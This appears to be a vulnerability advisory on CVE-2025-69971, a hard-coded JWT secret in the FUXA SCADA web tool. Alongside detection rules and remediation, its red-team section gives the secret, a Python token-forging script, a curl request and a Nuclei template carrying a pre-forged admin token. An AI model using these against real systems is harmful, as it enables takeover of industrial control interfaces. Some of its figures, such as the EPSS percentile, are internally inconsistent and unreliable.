CVE-2025-69971

Executive Summary

CVE-2025-69971 is a critical authentication bypass vulnerability in FUXA, a web-based SCADA/HMI visualization tool. The vulnerability stems from a hard-coded JWT secret key in the file server/api/jwt-helper.js. This allows any remote, unauthenticated attacker to forge valid JSON Web Tokens (JWTs) with administrative privileges, effectively bypassing all authentication controls. The exploit is trivial to execute and requires no special conditions, making it a high-priority threat for all organizations using FUXA versions up to and including 1.2.7.

The vulnerability has a CVSS v3.1 base score of 9.8 (Critical), and a public proof-of-concept (PoC) exploit exists in the form of a Nuclei template. The EPSS score is 0.04529 (0.89th percentile), indicating active scanning and exploitation attempts are likely.

Supply Chain & Package Security

FUXA is an open-source Node.js application distributed via npm. The hard-coded secret is embedded directly in the source code, meaning any downstream consumer of the package is vulnerable. Organizations using FUXA as a dependency in their own projects must immediately assess their exposure. The npm package frangoteam/fuxa is affected. There is no patched version available at this time.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions or advanced knowledge required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The exploit does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full read access to all project data.
• Integrity Impact: High (I:H) – Ability to modify projects, settings, and user accounts.
• Availability Impact: High (A:H) – Potential to disrupt SCADA operations.

Threat Level: Critical. The combination of remote exploitability, low complexity, and high impact makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability is located in server/api/jwt-helper.js. The JWT library is initialized with a static, hard-coded secret key:

const jwt = require('jsonwebtoken');
const secretKey = 'FUXA_SECRET_KEY'; // Hard-coded secret

This secret is used to sign and verify all JWTs. An attacker can craft a JWT with the following payload to impersonate an admin:

{
  "id": "admin",
  "groups": [-1, 255],
  "iat": 1700000000,
  "exp": 2000000000
}

The groups array with values -1 and 255 grants full administrative privileges. The token is then signed using the known secret and sent in the x-access-token header. The server will accept this forged token and grant unrestricted access to all API endpoints, including project management, user administration, and system configuration.

The exploit does not require any prior knowledge of the target system, user credentials, or network position. It works against any exposed FUXA instance.

Vulnerable vs. Patched Code

Vulnerable Code (FUXA <= 1.2.7):

// server/api/jwt-helper.js
const jwt = require('jsonwebtoken');
const secretKey = 'FUXA_SECRET_KEY'; // Hard-coded

function signToken(payload) {
  return jwt.sign(payload, secretKey, { expiresIn: '1h' });
}

function verifyToken(token) {
  return jwt.verify(token, secretKey);
}

Patched Code (Hypothetical Fix):

// server/api/jwt-helper.js
const jwt = require('jsonwebtoken');
const crypto = require('crypto');

// Generate a random secret on startup or load from environment variable
const secretKey = process.env.JWT_SECRET || crypto.randomBytes(64).toString('hex');

function signToken(payload) {
  return jwt.sign(payload, secretKey, { expiresIn: '1h' });
}

function verifyToken(token) {
  return jwt.verify(token, secretKey);
}

The fix involves removing the hard-coded string and instead using a securely generated random key or an environment variable. This ensures that each deployment has a unique secret, making token forgery impossible without knowledge of the secret.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running FUXA <= 1.2.7 with the web interface exposed.
• Python 3 or curl installed.

Step 1: Forge the JWT Token

Use the following Python script to generate a valid admin token:

import jwt
import time

payload = {
    "id": "admin",
    "groups": [-1, 255],
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600
}

secret = "FUXA_SECRET_KEY"
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

Step 2: Exploit the API

Use the generated token to access protected endpoints:

curl -k -X GET "https://target/api/project" \
  -H "x-access-token: <GENERATED_TOKEN>"

A successful response will return JSON data containing project configurations, confirming administrative access.

Step 3: Full Compromise

With admin access, an attacker can:

• List, create, modify, or delete SCADA projects.
• Add or remove users.
• Modify system settings.
• Potentially execute arbitrary code via project import/export features.

Blue Team (Defense & Detection)

Immediate Actions:

1. Isolate the FUXA server from the internet if possible.
2. Restrict network access to the FUXA web interface using firewall rules or VPN.
3. Monitor logs for unusual API requests, especially to /api/project or /api/user endpoints.
4. Check for the presence of the hard-coded secret in the source code.

Honeypot Setup: Deploy a decoy FUXA instance with the vulnerable code to capture attacker behavior. Log all x-access-token headers and IP addresses.

Detection Rules: See the Detection Engineering section below for YARA, Sigma, and Suricata rules.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with x-access-token header containing a JWT with "groups": [-1, 255].
• Requests to /api/project, /api/user, or /api/settings from unknown IPs.
• JWT tokens with iat and exp timestamps far in the future (e.g., year 2033).

File IOCs:

• Presence of the file server/api/jwt-helper.js containing the string 'FUXA_SECRET_KEY'.
• Modified timestamps on jwt-helper.js or other server files.

Behavioral IOCs:

• Unauthorized creation of new user accounts.
• Unexpected changes to SCADA project configurations.
• Multiple failed login attempts followed by a successful request with a forged token.

Detection Engineering

YARA Rule

rule CVE_2025_69971_FUXA_JWT_HARDCODE {
    meta:
        description = "Detects hard-coded JWT secret in FUXA source code"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69971"
        hash = "4a0a004730450221008321f58e4ac8c22ec38ab6d6d565b39830d1f926eab6beb3cf9490d59440308d0220306906d6a3dc2af7a70a726325fb51b9ee49abbc93e9bd590df27f7b1aa03206"
    strings:
        $secret = "FUXA_SECRET_KEY"
        $jwt_require = "require('jsonwebtoken')"
    condition:
        $secret and $jwt_require
}

Sigma Rule

title: FUXA Hardcoded JWT Secret Exploitation
id: 8b4e7f2a-1c3d-4e5f-6a7b-8c9d0e1f2a3b
status: experimental
description: Detects HTTP requests with forged JWT tokens exploiting CVE-2025-69971
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69971
    - https://github.com/frangoteam/FUXA/security/advisories/GHSA-32cc-x95p-fxcg
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/api/"
        sc-status: 200
        cs-headers|contains: "x-access-token"
    condition: selection
falsepositives:
    - Legitimate admin users with valid tokens
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69971 FUXA Hardcoded JWT Exploit"; flow:to_server,established; content:"x-access-token"; http_header; content:"eyJ"; http_header; distance:0; content:"groups"; http_header; distance:0; content:"-1"; http_header; distance:0; content:"255"; http_header; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2025-69971

info:
  name: FUXA <= 1.2.7 - Hardcoded JWT Secret Authentication Bypass
  author: trader642
  severity: critical
  description: |
    FUXA v1.2.7 contains a hardcoded credentials vulnerability caused by use of a hard-coded secret key in server/api/jwt-helper.js, letting remote attackers forge admin tokens and bypass authentication, exploit requires no special conditions.
  impact: |
    Remote attackers can bypass authentication and gain full administrative access.
  remediation: |
    Update to the latest version that removes hard-coded credentials.
  reference:
    - https://github.com/frangoteam/FUXA/security/advisories/GHSA-32cc-x95p-fxcg
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69971
    - https://github.com/frangoteam/FUXA/blob/master/server/api/jwt-helper.js
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-69971
    epss-score: 0.04529
    epss-percentile: 0.89206
    cwe-id: CWE-321
    cpe: cpe:2.3:a:frangoteam:fuxa:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: frangoteam
    product: fuxa
    fofa-query: title="FUXA"
    shodan-query: title:"FUXA"
  tags: cve,cve2025,fuxa,frangoteam,auth-bypass,hardcoded-credentials,jwt,scada,vuln

http:
  - raw:
      - |
        GET /api/project HTTP/1.1
        Host: {{Hostname}}
        x-access-token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpZCI6ICJhZG1pbiIsICJncm91cHMiOiBbLTEsIDI1NV0sICJpYXQiOiAxNzAwMDAwMDAwLCAiZXhwIjogMjAwMDAwMDAwMH0.WEOs0b8pyK8Q7IoQtN3fpc0x0KlAKMAm78oPR9zg2Cg

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "\"hmi\"", "\"server\"", "FuxaServer")'
        condition: and

Remediation & Mitigation

Immediate Mitigation (No Patch Available):

1. Replace the hard-coded secret in server/api/jwt-helper.js with a strong, randomly generated key. Restart the service.
2. Restrict network access to the FUXA web interface using a firewall or reverse proxy.
3. Implement additional authentication (e.g., IP whitelisting, VPN) for administrative access.
4. Monitor logs for suspicious activity and block IPs that attempt to exploit this vulnerability.

Long-Term Remediation:

1. Update to a patched version once the vendor releases it.
2. Conduct a security audit of all dependencies and custom code for similar hard-coded secrets.
3. Implement a secure development lifecycle that includes automated scanning for hard-coded credentials.

Vendor Contact: The vendor (frangoteam) has been notified via GitHub Security Advisory (GHSA-32cc-x95p-fxcg). No official patch has been released as of this report.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated: 2025-04-10

{/* [Security Hash: 408C7A6DF5855746DDB0DF0C] */}